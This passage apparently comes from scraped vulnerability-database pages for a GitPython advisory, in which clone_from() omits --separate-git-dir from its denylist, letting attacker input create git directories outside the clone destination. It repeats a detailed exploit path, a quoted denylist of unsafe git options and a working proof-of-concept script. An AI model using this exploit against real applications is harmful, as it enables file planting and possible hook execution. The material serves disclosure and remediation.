assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "apm",
"purl": "pkg:brew/apm"
},
"ranges": [
{
"events": [
{
"introduced": "0.26.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-apm-CVE-2026-78677",
"modified": "2026-09-17T18:40:44Z",
"published": "2026-09-04T08:44:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-BTCLI-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:47 – Updated: 2026-09-09 23:44 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.51",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "btcli",
"purl": "pkg:brew/btcli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.51",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.51"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for 